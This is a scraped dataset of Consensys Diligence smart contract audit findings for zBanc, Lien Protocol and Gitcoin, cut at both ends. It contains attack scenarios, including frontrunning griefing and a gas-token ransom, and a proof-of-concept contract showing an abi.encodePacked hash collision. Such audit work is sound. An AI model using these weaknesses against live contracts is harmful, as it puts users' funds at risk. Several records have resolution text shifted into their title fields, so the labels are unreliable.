to go. However, we highly recommend re-evaluating whether the newly introduced type and components should comply with the bancor API (recommended; avoid unnecessary changes to the underlying system,) instead of changing the API for the new components. Decide if the new factory should adhere to the usually commonly shared ITypedConverterFactory (recommended) and if not, remove the import and provide a new custom shared interface. It is highly recommended to comply and use the bancor systems extensibility mechanisms as intended, keeping the previously audited bancor code in-tact and voiding unnecessary re-assessments of the security impact of changes. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2021/05/zer0-zbanc/"}, {"title": "5.4 zBanc - DynamicLiquidTokenConverter isActive should only be returned if converter is fully configured and converter parameters should only be updateable while converter is inactive ", "body": " Resolution Addressed with zer0-os/zBanc@ff3d913 by removing the custom ACL modifier falling back to checking whether the contract is configured (isActive, inactive modifiers). When a new contract is deployed it will be inactive until the main vars are set by the owner (upgrade contract). The upgrade path is now aligned with how the LiquidityPoolV2Converter performs upgrades. Additionally, the client provided the following statement: ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/05/zer0-zbanc/"}, {"title": "5.13 - upgrade path resolved - inactive modifier back on the setters, and upgrade path now mirrors lpv2 path. An important note here is that lastWeightAdjustmentMarketCap setting isn t included in the inActive() override, since it has a valid state of 0. So it must be set before the others settings, or it will revert as inactive", "body": " Description By default, a converter is active once the anchor ownership was transferred. This is true for converters that do not require to be properly set up with additional parameters before they can be used. zBanc/solidity/contracts/converter/ConverterBase.sol:L272-L279 /** @dev returns true if the converter is active, false otherwise @return true if the converter is active, false otherwise / function isActive() public view virtual override returns (bool) { return anchor.owner() == address(this); For a simple converter, this might be sufficient. If a converter requires additional setup steps (e.g. setting certain internal variables, an oracle, limits, etc.) it should return inactive until the setup completes. This is to avoid that users are interacting with (or even pot. frontrunning) a partially configured converter as this may have unexpected outcomes. For example, the LiquidityPoolV2Converter overrides the isActive method to require additional variables be set (oracle) to actually be in active state. zBanc/solidity/contracts/converter/types/liquidity-pool-v2/LiquidityPoolV2Converter.sol:L79-L85 Additionally, settings can only be updated while the contract is inactive which will be the case during an upgrade. This ensures that the owner cannot adjust settings at will for an active contract. @dev returns true if the converter is active, false otherwise @return true if the converter is active, false otherwise / function isActive() public view override returns (bool) { return super.isActive() && address(priceOracle) != address(0); Additionally, settings can only be updated while the contract is inactive which will be the case during an upgrade. This ensures that the owner cannot adjust settings at will for an active contract. zBanc/solidity/contracts/converter/types/liquidity-pool-v2/LiquidityPoolV2Converter.sol:L97-L109 function activate( IERC20Token _primaryReserveToken, IChainlinkPriceOracle _primaryReserveOracle, IChainlinkPriceOracle _secondaryReserveOracle) public inactive ownerOnly validReserve(_primaryReserveToken) notThis(address(_primaryReserveOracle)) notThis(address(_secondaryReserveOracle)) validAddress(address(_primaryReserveOracle)) validAddress(address(_secondaryReserveOracle)) The DynamicLiquidTokenConverter is following a different approach. It inherits the default isActive which sets the contract active right after anchor ownership is transferred. This kind of breaks the upgrade process for DynamicLiquidTokenConverter as settings cannot be updated while the contract is active (as anchor ownership might be transferred before updating values). To unbreak this behavior a new authentication modifier was added, that allows updates for the upgrade contradict while the contract is active. Now this is a behavior that should be avoided as settings should be predictable while a contract is active. Instead it would make more sense initially set all the custom settings of the converter to zero (uninitialized) and require them to be set and only the return the contract as active. The behavior basically mirrors the upgrade process of LiquidityPoolV2Converter. zBanc/solidity/contracts/converter/types/liquid-token/DynamicLiquidTokenConverter.sol:L44-L50 modifier ifActiveOnlyUpgrader(){ if(isActive()){ require(owner == addressOf(CONVERTER_UPGRADER), \"ERR_ACTIVE_NOTUPGRADER\"); _; Pre initialized variables should be avoided. The marketcap threshold can only be set by the calling entity as it may be very different depending on the type of reserve (eth, token). zBanc/solidity/contracts/converter/types/liquid-token/DynamicLiquidTokenConverter.sol:L17-L20 uint32 public minimumWeight = 30000; uint32 public stepWeight = 10000; uint256 public marketCapThreshold = 10000 ether; uint256 public lastWeightAdjustmentMarketCap = 0; Here s one of the setter functions that can be called while the contract is active (only by the upgrader contract but changing the ACL commonly followed with other converters). zBanc/solidity/contracts/converter/types/liquid-token/DynamicLiquidTokenConverter.sol:L67-L74 function setMarketCapThreshold(uint256 _marketCapThreshold) public ownerOnly ifActiveOnlyUpgrader marketCapThreshold = _marketCapThreshold; emit MarketCapThresholdUpdated(_marketCapThreshold); Recommendation Align the upgrade process as much as possible to how LiquidityPoolV2Converter performs it. Comply with the bancor API. override isActive and require the contracts main variables to be set. do not pre initialize the contracts settings to some values. Require them to be set by the caller (and perform input validation) mirror the upgrade process of LiquidityPoolV2Converter and instead of activate call the setter functions that set the variables. After setting the last var and anchor ownership been transferred, the contract should return active. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2021/05/zer0-zbanc/"}, {"title": "5.5 zBanc - DynamicLiquidTokenConverter frontrunner can grief owner when calling reduceWeight ", "body": " Resolution The client acknowledged this issue by providing the following statement: ", "labels": ["Consensys", "Medium", "Acknowledged"], "html_url": "https://consensys.io/diligence/audits/2021/05/zer0-zbanc/"}, {"title": "5.12 - admin by a DAO will mitigate the owner risks here", "body": " Description The owner of the converter is allowed to reduce the converters weights once the marketcap surpasses a configured threshhold. The thresshold is configured on first deployment. The marketcap at the beginning of the call is calculated as reserveBalance / reserve.weight and stored as lastWeightAdjustmentMarketCap after reducing the weight. zBanc/solidity/contracts/converter/types/liquid-token/DynamicLiquidTokenConverter.sol:L130-L138 function reduceWeight(IERC20Token _reserveToken) public validReserve(_reserveToken) ownerOnly _protected(); uint256 currentMarketCap = getMarketCap(_reserveToken); require(currentMarketCap > (lastWeightAdjustmentMarketCap.add(marketCapThreshold)), \"ERR_MARKET_CAP_BELOW_THRESHOLD\"); The reserveBalance can be manipulated by buying (adding reserve token) or selling liquidity tokens (removing reserve token). The success of a call to reduceWeight is highly dependant on the marketcap. A malicious actor may, therefore, attempt to grief calls made by the owner by sandwiching them with buy and sell calls in an attempt to (a) raise the barrier for the next valid payout marketcap or (b) temporarily lower the marketcap if they are a major token holder in an attempt to fail the reduceWeights call. In both cases the griefer may incur some losses due to conversion errors, bancor fees if they are set, and gas spent. It is, therefore, unlikely that a third party may spend funds on these kinds of activities. However, the owner as a potential major liquid token holder may use this to their own benefit by artificially lowering the marketcap to the absolute minimum (old+threshold) by selling liquidity and buying it back right after reducing weights. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2021/05/zer0-zbanc/"}, {"title": "5.6 zBanc - outdated fork ", "body": " Description According to the client the system was forked off bancor v0.6.18 (Oct 2020). The current version 0.6.x is v0.6.36 (Apr 2021). Recommendation It is recommended to check if relevant security fixes were released after v0.6.18 and it should be considered to rebase with the current stable release. ", "labels": ["Consensys", "Medium", "Acknowledged"], "html_url": "https://consensys.io/diligence/audits/2021/05/zer0-zbanc/"}, {"title": "5.7 zBanc - inconsistent DynamicContractRegistry, admin risks ", "body": " Resolution The client acknowledged the admin risk and addressed the itemCount concerns by exposing another method that only returns the overridden entries. The following statement was provided: ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/05/zer0-zbanc/"}, {"title": "5.10 - keeping this pattern which matches the bancor pattern, and noting the DCR should be owned by a DAO, which is our plan. solved itemCount issue - Added dcrItemCount and made itemCount call the bancor registry s itemCount, so unpredictable behavior due to the count should be eliminated.", "body": " Description DynamicContractRegistry is a wrapper registry that allows the zBanc to use the custom upgrader contract while still providing access to the normal bancor registry. For this to work, the registry owner can add or override any registry setting. Settings that don t exist in this contract are attempted to be retrieved from an underlying registry (contractRegistry). zBanc/solidity/contracts/utility/DynamicContractRegistry.sol:L66-L70 function registerAddress(bytes32 _contractName, address _contractAddress) public ownerOnly validAddress(_contractAddress) If the item does not exist in the registry, the request is forwarded to the underlying registry. zBanc/solidity/contracts/utility/DynamicContractRegistry.sol:L52-L58 function addressOf(bytes32 _contractName) public view override returns (address) { if(items[_contractName].contractAddress != address(0)){ return items[_contractName].contractAddress; }else{ return contractRegistry.addressOf(_contractName); According to the documentation this registry is owned by zer0 admins and this means users have to trust zer0 admins to play fair. To handle this, we deploy our own ConverterUpgrader and ContractRegistry owned by zer0 admins who can register new addresses The owner of the registry (zer0 admins) can change the underlying registry contract at will. The owner can also add new or override any settings that already exist in the underlying registry. This may for example allow a malicious owner to change the upgrader contract in an attempt to potentially steal funds from a token converter or upgrade to a new malicious contract. The owner can also front-run registry calls changing registry settings and thus influencing the outcome. Such an event will not go unnoticed as events are emitted. It should also be noted that itemCount will return only the number of items in the wrapper registry but not the number of items in the underlying registry. This may have an unpredictable effect on components consuming this information. zBanc/solidity/contracts/utility/DynamicContractRegistry.sol:L36-L43 /** @dev returns the number of items in the registry @return number of items / function itemCount() public view returns (uint256) { return contractNames.length; Recommendation Require the owner/zer0 admins to be a DAO or multisig and enforce 2-step (notify->wait->upgrade) registry updates (e.g. by requiring voting or timelocks in the admin contract). Provide transparency about who is the owner of the registry as this may not be clear for everyone. Evaluate the impact of itemCount only returning the number of settings in the wrapper not taking into account entries in the subcontract (including pot. overlaps). ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2021/05/zer0-zbanc/"}, {"title": "5.8 zBanc - DynamicLiquidTokenConverter consider using PPM_RESOLUTION instead of hardcoding integer literals ", "body": " Resolution This issue was present in the initial commit under review ( zer0-os/zBanc@48da0ac) but has since been addressed with zer0-os/zBanc@3d6943e. Description getMarketCap calculates the reserve s market capitalization as reserveBalance * 1e6 / weight where 1e6 should be expressed as the constant PPM_RESOLUTION. Examples zBanc/solidity/contracts/converter/types/liquid-token/DynamicLiquidTokenConverter.sol:L157-L164 function getMarketCap(IERC20Token _reserveToken) public view returns(uint256) Reserve storage reserve = reserves[_reserveToken]; return reserveBalance(_reserveToken).mul(1e6).div(reserve.weight); Recommendation Avoid hardcoding integer literals directly into source code when there is a better expression available. In this case 1e6 is used because weights are denoted in percent to base PPM_RESOLUTION (=100%). ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/05/zer0-zbanc/"}, {"title": "5.9 zBanc - DynamicLiquidTokenConverter avoid potential converter type overlap with bancor ", "body": " Resolution Acknowledged by providing the following statement: ", "labels": ["Consensys", "Minor", "Acknowledged"], "html_url": "https://consensys.io/diligence/audits/2021/05/zer0-zbanc/"}, {"title": "5.24 the converterType relates to an array selector in the test helpers, so would be inconvenient to make a higher value. we will have to maintain the value when rebasing in DynamicLiquidTokenConverter & Factory, ConverterUpgrader, and the ConverterUpgrader.js test file and Converter.js test helper file.", "body": " Description The system is forked frombancorprotocol/contracts-solidity. As such, it is very likely that security vulnerabilities reported to bancorprotocol upstream need to be merged into the zer0/zBanc fork if they also affect this codebase. There is also a chance that security fixes will only be available with feature releases or that the zer0 development team wants to merge upstream features into the zBanc codebase. Note that the current master of the bancorprotocol already appears to defined converterType 3 and 4: https://github.com/bancorprotocol/contracts-solidity/blob/5f4c53ebda784751c3a90b06aa2c85e9fdb36295/solidity/test/helpers/Converter.js#L51-L54 Examples The new custom converter zBanc/solidity/contracts/converter/types/liquid-token/DynamicLiquidTokenConverter.sol:L50-L52 function converterType() public pure override returns (uint16) { return 3; ConverterTypes from the bancor base system zBanc/solidity/contracts/converter/types/liquidity-pool-v1/LiquidityPoolV1Converter.sol:L71-L73 function converterType() public pure override returns (uint16) { return 1; zBanc/solidity/contracts/converter/types/liquidity-pool-v2/LiquidityPoolV2Converter.sol:L73-L76 Recommendation / function converterType() public pure override returns (uint16) { return 2; Recommendation Choose a converterType id for this custom implementation that does not overlap with the codebase the system was forked from. e.g. uint16(-1) or 1001 instead of 3 which might already be used upstream. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2021/05/zer0-zbanc/"}, {"title": "5.10 zBanc - unnecessary contract duplication ", "body": " Resolution fixed with zer0-os/zBanc@ff3d913 by removing the duplicate contract. Description DynamicContractRegistryClient is an exact copy of ContractRegistryClient. Avoid unnecessary code duplication. < contract DynamicContractRegistryClient is Owned, Utils { --- > contract ContractRegistryClient is Owned, Utils { ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/05/zer0-zbanc/"}, {"title": "3.1 A reverting fallback function will lock up all payouts ", "body": " Resolution Replace the push method to pull pattern. Remove transfer of ETH in the process of execution, and store ETH amount to mapping(address => uint256) ethBalance (contracts/Inheritance/ETHExchange.sol, L21) Add function withdrawETH to send ethBalance[msg.sender] (contracts/Inheritance/ETHExchange.sol, L158-L162) Description In BoxExchange.sol, the internal function _transferEth() reverts if the transfer does not succeed: code/Fairswap_iDOLvsETH/contracts/BoxExchange.sol:L958-L963 function _transferETH(address _recipient, uint256 _amount) private { (bool success, ) = _recipient.call{value: _amount}( abi.encodeWithSignature(\"\") ); require(success, \"Transfer Failed\"); The _payment() function processes a list of transfers to settle the transactions in an ExchangeBox. If any of the recipients of an Eth transfer is a smart contract that reverts, then the entire payout will fail and will be unrecoverable. Recommendation Implement a queuing mechanism to allow buyers/sellers to initiate the withdrawal on their own using a pull-over-push pattern. Ignore a failed transfer and leave the responsibility up to users to receive them properly. ", "labels": ["Consensys", "Critical", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/05/lien-protocol/"}, {"title": "3.2 Force traders to mint gas token ", "body": " Resolution Replace push funds with Pull Pattern. Remove transfer of ETH in the process of execution, and store ETH amount to mapping(address => uint256) ethBalance (contracts/Inheritance/ETHExchange.sol, L21) Add function withdrawETH to send ethBalance[msg.sender] (contracts/Inheritance/ETHExchange.sol, L158-L162) Description Attack scenario: Alice makes a large trade via the Fairswap_iDOLvsEth exchange. This will tie up her iDOL until the box is executed. Mallory makes a small trades to buy ETH immediately afterwards, the trades are routed through an attack contract. Alice needs to execute the box to get her iDOL out. Because the gas amount is unlimited, when you Mallory s ETH is paid out to her attack contract, mint a lot of GasToken. If Alice has $100 worth of ETH tied up in the exchange, you can basically ransom her for $99 of gas token or else she ll never see her funds again. Examples code/Fairswap_iDOLvsETH/contracts/BoxExchange.sol:L958 function _transferETH(address _recipient, uint256 _amount) private { Recommendation When sending ETH, a pull-payment model is generally preferable. This would require setting up a queue, allowing users to call a function to initiate a withdrawal. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/05/lien-protocol/"}, {"title": "3.3 Missing Proper Access Control ", "body": " Resolution Comment from Lien Protocol: remove comment out lines to activate time control functions at Auction.sol and AuctionBoard.sol (a contract divided from Auction.sol) Description Some functions do not have proper access control and are public, meaning that anyone can call them. This will result in system take over depending on how critical those functionalities are. Examples Anyone can set IDOLContract in MainContracts.Auction.sol, which is a critical aspect of the auction contract, and it cannot be changed after it is set: code/MainContracts/contracts/Auction.sol:L144-L148 Recommendation / function setIDOLContract(address contractAddress) public { require(address(_IDOLContract) == address(0), \"IDOL contract is already registered\"); _setStableCoinContract(contractAddress); Recommendation Make the setIDOLContract() function internal and call it from the constructor, or only allow the deployer to set the value. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/05/lien-protocol/"}, {"title": "3.4 Code is not production-ready ", "body": " Resolution Comment from Lien Protocol: remove comment out lines and update code to activate time control functions at AuctionTimeControl.sol Description Similar to other discussed issues, several areas of the code suggest that the system is not production-ready. This results in narrow test scenarios that do not cover production code flow. Examples In MainContracts/contracts/AuctionTimeControl.sol the following functions are commented out and replaced with same name functions that simply return True for testing purposes: isNotStartedAuction inAcceptingBidsPeriod inRevealingValuationPeriod inReceivingBidsPeriod code/MainContracts/contracts/AuctionTimeControl.sol:L30-L39 /* // Indicates any auction has never held for a specified BondID function isNotStartedAuction(bytes32 auctionID) public virtual override returns (bool) { uint256 closingTime = _auctionClosingTime[auctionID]; return closingTime == 0; // Indicates if the auctionID is in bid acceptance status function inAcceptingBidsPeriod(bytes32 auctionID) public virtual override returns (bool) { uint256 closingTime = _auctionClosingTime[auctionID]; code/MainContracts/contracts/AuctionTimeControl.sol:L67-L78 // TEST function isNotStartedAuction(bytes32 auctionID) public virtual override returns (bool) return true; // TEST function inAcceptingBidsPeriod(bytes32 auctionID) These commented-out functions contain essential functionality for the Auction contract. For example, inRevealingValuationPeriod is used to allow revealing of the bid price publicly: code/MainContracts/contracts/Auction.sol:L403-L406 require( inRevealingValuationPeriod(auctionID), \"it is not the time to reveal the value of bids\" ); Recommendation Remove the test functions and use the production code for testing. The tests must have full coverage of the production code to be considered complete. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/05/lien-protocol/"}, {"title": "3.5 Unable to compile contracts ", "body": " Resolution The related code was updated on the 7th day of the audit, and fixed this issue for Description In the Fairswap_iDOLvsImmortalOptionsrepository: Compilation with truffle fails due to a missing file: contracts/testTokens/TestBondMaker.sol. Compilation with solc fails due to an undefined interface function: In the Fairswap_iDOLvsLien repository: Compilation with truffle fails due to a missing file: ./ERC20RegularlyRecord.sol. The correct filename is ./TestERC20RegularlyRecord.sol. Recommendation Ensure all contracts are easily compilable by following simple instructions in the README. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/05/lien-protocol/"}, {"title": "3.6 Unreachable code due to checked conditions ", "body": " Resolution Comment from Lien Protocol: Fix Unreachable codes in Auction.sol which were made for the tests. Description The code flow in MainContracts.Auction.sol revealBid() is that it first checks if the function has been called during the reveal period, which means after closing and before the end of the reveal period. code/MainContracts/contracts/Auction.sol:L508-L517 function revealBid( bytes32 auctionID, uint256 price, uint256 targetSBTAmount, uint256 random ) public override { require( inRevealingValuationPeriod(auctionID), \"it is not the time to reveal the value of bids\" ); However, later in the same function, code exists to introduce Penalties for revealing too early. This checks to see if the function was called before closing, which should not be possible given the previous check. code/MainContracts/contracts/Auction.sol:L523-L537 /** @dev Penalties for revealing too early. Some participants may not follow the rule and publicate their bid information before the reveal process. In such a case, the bid price is overwritten by the bid with the strike price (slightly unfavored price). / uint256 bidPrice = price; /** @dev FOR TEST CODE RUNNING: The following if statement in L533 should be replaced by the comment out / if (inAcceptingBidsPeriod(auctionID)) { // if (false) { (, , uint256 solidStrikePriceE4, ) = _getBondFromAuctionID(auctionID); bidPrice = _exchangeSBT2IDOL(solidStrikePriceE4.mul(10**18)); Recommendation Double-check the logic in these functions. If revealing should be allowed (but penalized in the earlier stage), the first check should be changed. However, based on our understanding, the first check is correct, and the second check for early reveal is redundant and should be removed. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/05/lien-protocol/"}, {"title": "3.7 TODO tags present in the code ", "body": " Resolution Comment from Lien Protocol: All TODOs in repositories were solved and removed. Description There are a few instances of TODO tags in the codebase that must be addressed before production as they correspond to commented-out code that makes up essential parts of the system. Examples code/MainContracts/contracts/Auction.sol:L310-L311 // require(strikePriceIDOLAmount > 10**10, 'at least 100 iDOL is required for the bid Amount'); // require $100 for spam protection // TODO require( code/MainContracts/contracts/BondMaker.sol:L392-L394 bytes32[] storage bondIDs = bondGroup.bondIDs; // require(msg.value.mul(998).div(1000) > amount, 'fail to transfer Ether'); // TODO code/MainContracts/contracts/BondMaker.sol:L402-L404 _issueNewBond(bondID, msg.sender, amount); // transferETH(bondTokenAddress, msg.value - amount); // TODO ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/05/lien-protocol/"}, {"title": "3.8 Documented function getERC20TokenDividend() does not exist ", "body": " Resolution Comment from Lien Protocol: Fairswap Fix ReadMe (README.md) Description In the README of Fairswap_iDOLvsLien, a function is listed which is not implemented in the codebase: getERC20TokenDividend() function withdraws ETH and baseToken dividends for the Lien token stored in the exchange.(the dividends are stored in the contract at this moment) Recommendation Implement the function, or update the documentation ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/05/lien-protocol/"}, {"title": "3.9 Fairswap interfaces are inconsistent ", "body": " Resolution Comment from Lien Protocol: Implement interface(contracts/Inheritance/TokenExchange.sol L11, contracts/Inheritance/ETHExchange.sol L12) Description There are unexpected inconsistencies between the three Fairswap contract interfaces, which may cause issues for composability with external contracts. Examples The function used to submit orders between the base and settlement currency has a different name across the three exchanges: In Fairswap_iDOLvsETH it is called: orderEThToToken(). In Fairswap_iDOLvsLien it is called: OrderBaseToSettlement() (capitalized). In Fairswap_iDOLvsImmmortalOptions it is called: orderBaseToSettlement(). Recommendation Implement the desired interface in a separate file, and inherit it on the exchange contracts to ensure they are implemented as intended. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/05/lien-protocol/"}, {"title": "3.10 Fairswap: inconsistent checks on _executionOrder() ", "body": " Resolution Comment from Lien Protocol: Fairswap- Integrate if statements about executeUnexecutedBox() (contracts/Inheritance/TokenExchange.sol L161, contracts/Inheritance/ETHExchange.sol L143, contracts/Inheritance/BoxExchange.sol L401-L405) Description The _executionOrder() function should only be called under specific conditions. However, these conditions are not always consistently defined. Examples code/Fairswap_iDOLvsLien/contracts/BoxExchange.sol:L218 if (nextBoxNumber > 1 && nextBoxNumber > nextExecuteBoxNumber) { code/Fairswap_iDOLvsLien/contracts/BoxExchange.sol:L312 if (nextBoxNumber > 1 && nextBoxNumber > nextExecuteBoxNumber) { code/Fairswap_iDOLvsLien/contracts/BoxExchange.sol:L647 if (nextBoxNumber > 1 && nextBoxNumber >= nextExecuteBoxNumber) { Recommendation Reduce duplicate code by defining an internal function to perform this check. A clear, descriptive name will help to clarify the intention. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/05/lien-protocol/"}, {"title": "3.11 Inconsistency in DecimalSafeMath implementations ", "body": " Resolution Comment from Lien Protocol: Integrate and rename DecimalSafeMath to RateMath (contracts/Inheritance/RateMath.sol) Description There are two different implementations of DecimalSafeMath in the 3 FairSwap repositories. Examples FairSwap_iDOLvsLien/contracts/util/DecimalSafeMath.sol#L4-L11 library DecimalSafeMath { function decimalDiv(uint256 a, uint256 b)internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 a_ = a * 1000000000000000000; uint256 c = a_ / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; Fairswap_iDOLvsETH/contracts/util/DecimalSafeMath.sol#L3-L11 library DecimalSafeMath { function decimalDiv(uint256 a, uint256 b)internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = (a * 1000000000000000000) / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; Recommendation Try removing duplicate code/libraries and using a better inheritance model to include one file in all FairSwaps. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/05/lien-protocol/"}, {"title": "4.1 ESMS use of sanitized user_amount & user_id values ", "body": " Resolution Fixed in https://github.com/nopslip/gtc-request-signer/pull/4/ , by using the sanitized integer value in the code flow. Description In the Signer service, values are properly checked, however the checked values are not preserved and the user input is passed down in the function. The values are sanitized here: code/gtc-request-signer-main-5eb22e882e28e6f3192b80f237f7a3bcd15b1ee9/app.py:L98-L108 try: int(user_id) except ValueError: gtc_sig_app.logger.error('Invalid user_id received!') return Response('{\"message\":\"ESMS error\"}', status=400, mimetype='application/json') # make sure it's an int try: int(user_amount) except ValueError: gtc_sig_app.logger.error('Invalid user_amount received!') return Response('{\"message\":\"ESMS error\"}', status=400, mimetype='application/json') But the original user inputs are being used here: code/gtc-request-signer-main-5eb22e882e28e6f3192b80f237f7a3bcd15b1ee9/app.py:L110-L113 try: leaf = proofs[str(user_id)]['leaf'] proof = proofs[str(user_id)]['proof'] leaf_bytes = Web3.toBytes(hexstr=leaf) code/gtc-request-signer-main-5eb22e882e28e6f3192b80f237f7a3bcd15b1ee9/app.py:L128-L131 # this is a bit of hack to avoid bug in old web3 on frontend # this means that user_amount is not converted back to wei before tx is broadcast! user_amount_in_eth = Web3.fromWei(user_amount, 'ether') Examples if a float amount is passed for user_amount, all checks will pass, however the final amount will be slightly different that what it is intended: >>> print(str(Web3.fromWei(123456789012345, 'ether'))) ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/04/gitcoin-token-distribution/"}, {"title": "0.000123456789012345", "body": " >>> print(str(Web3.fromWei(123456789012345.123, 'ether'))) ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2021/04/gitcoin-token-distribution/"}, {"title": "0.000123456789012345125", "body": " Recommendation After the sanity check, use the sanitized value for the rest of the code flow. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2021/04/gitcoin-token-distribution/"}, {"title": "4.2 Prefer using abi.encode in TokenDistributor ", "body": " Resolution Fixed in gitcoinco/governance#7 Description The method _hashLeaf is called when a user claims their airdrop. code/governance-main-ee5e45a008d65021831de9f3e83053026f2a4dd2/contracts/TokenDistributor.sol:L128-L129 // can we repoduce leaf hash included in the claim? require(_hashLeaf(user_id, user_amount, leaf), 'TokenDistributor: Leaf Hash Mismatch.'); This method receives the user_id and the user_amount as arguments. code/governance-main-ee5e45a008d65021831de9f3e83053026f2a4dd2/contracts/TokenDistributor.sol:L253-L257 /** @notice hash user_id + claim amount together & compare results to leaf hash @return boolean true on match / function _hashLeaf(uint32 user_id, uint256 user_amount, bytes32 leaf) private returns (bool) { These arguments are abi encoded and hashed together to produce a unique hash. code/governance-main-ee5e45a008d65021831de9f3e83053026f2a4dd2/contracts/TokenDistributor.sol:L258 bytes32 leaf_hash = keccak256(abi.encodePacked(keccak256(abi.encodePacked(user_id, user_amount)))); This hash is checked against the third argument for equality. code/governance-main-ee5e45a008d65021831de9f3e83053026f2a4dd2/contracts/TokenDistributor.sol:L259 return leaf == leaf_hash; If the hash matches the third argument, it returns true and considers the provided user_id and user_amount are correct. However, packing differently sized arguments may produce collisions. The Solidity documentation states that packing dynamic types will produce collisions, but this is also the case if packing uint32 and uint256. Examples Below there s an example showing that packing uint32 and uint256 in both orders can produce collisions with carefully picked values. library Encode { function encode32Plus256(uint32 _a, uint256 _b) public pure returns (bytes memory) { return abi.encodePacked(_a, _b); function encode256Plus32(uint256 _a, uint32 _b) public pure returns (bytes memory) { return abi.encodePacked(_a, _b); contract Hash { function checkEqual() public pure returns (bytes32, bytes32) { // Pack 1 uint32 a1 = 0x12345678; uint256 b1 = 0x99999999999999999999999999999999999999999999999999999999FFFFFFFF; // Pack 2 uint256 a2 = 0x1234567899999999999999999999999999999999999999999999999999999999; uint32 b2 = 0xFFFFFFFF; // Encode these 2 different values bytes memory packed1 = Encode.encode32Plus256(a1, b1); bytes memory packed2 = Encode.encode256Plus32(a2, b2); // Check if the packed encodings match require(keccak256(packed1) == keccak256(packed2), \"Hash of representation should match\"); // The hashes are the same // 0x9e46e582607c5c6e05587dacf66d311c4ced0819378a41d4b4c5adf99d72408e return ( keccak256(packed1), keccak256(packed2) ); Changing abi.encodePacked to abi.encode in the library will make the transaction fail with error message Hash of representation should match. Recommendation Unless there s a specific use case to use abi.encodePacked, you should always use abi.encode. You might need a few more bytes in the transaction data, but it prevents collisions. Similar fix can be achieved by using unit256 for both values to be packed to prevent any possible collisions. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/04/gitcoin-token-distribution/"}, {"title": "4.3 Simplify claim tokens for a gas discount and less code ", "body": " Resolution Fixed in gitcoinco/governance#4 Structure Claim can still be removed for further optimization. Description The method claimTokens in TokenDistributor needs to do a few checks before it can distribute the tokens. A few of these checks can be simplified and optimized. The method hashMatch can be removed because it s only used once and the contents can be moved directly into the parent method. code/governance-main-ee5e45a008d65021831de9f3e83053026f2a4dd2/contracts/TokenDistributor.sol:L125-L126 // can we reproduce the same hash from the raw claim metadata? require(hashMatch(user_id, user_address, user_amount, delegate_address, leaf, eth_signed_message_hash_hex), 'TokenDistributor: Hash Mismatch.'); Because this method also uses a few other internal calls, they also need to be moved into the parent method. code/governance-main-ee5e45a008d65021831de9f3e83053026f2a4dd2/contracts/TokenDistributor.sol:L211 return getDigest(claim) == eth_signed_message_hash_hex; code/governance-main-ee5e45a008d65021831de9f3e83053026f2a4dd2/contracts/TokenDistributor.sol:L184 hashClaim(claim) Moving the code directly in the parent method and removing them will improve gas costs for users. The structure Claim can also be removed because it s not used anywhere else in the code. Recommendation Consider simplifying claimTokens and remove unused methods. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/04/gitcoin-token-distribution/"}, {"title": "4.4 ESMS use of environment variable for chain info [Optimization] ", "body": " Resolution Fixed in nopslip/gtc-request-signer#5 by moving the variables to the environment variable. Description Variables to create domain separator are hardcoded in the code, and it requires the modify code on different deployments (e.g. testnet, mainnet, etc). Examples code/gtc-request-signer-main-5eb22e882e28e6f3192b80f237f7a3bcd15b1ee9/app.py:L203-L208 domain = make_domain( name='GTA', version='1.0.0', chainId=4, verifyingContract='0xBD2525B5F0B2a663439a78A99A06605549D25cE5') Recommendation Use environment variable for these values. This way there is no need to change the source code on different deployments and it can be scripted to prevent any possible errors on the code base. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/04/gitcoin-token-distribution/"}, {"title": "4.5 Rename method _hashLeaf to something that represents the validity of the leaf ", "body": " Resolution Closed because the method was removed in gitcoinco/governance#4 Description The method _hashLeaf accepts 3 arguments. code/governance-main-ee5e45a008d65021831de9f3e83053026f2a4dd2/contracts/TokenDistributor.sol:L257 function _hashLeaf(uint32 user_id, uint256 user_amount, bytes32 leaf) private returns (bool) { The arguments user_id and user_amount are used to create a keccak256 hash. code/governance-main-ee5e45a008d65021831de9f3e83053026f2a4dd2/contracts/TokenDistributor.sol:L258 bytes32 leaf_hash = keccak256(abi.encodePacked(keccak256(abi.encodePacked(user_id, 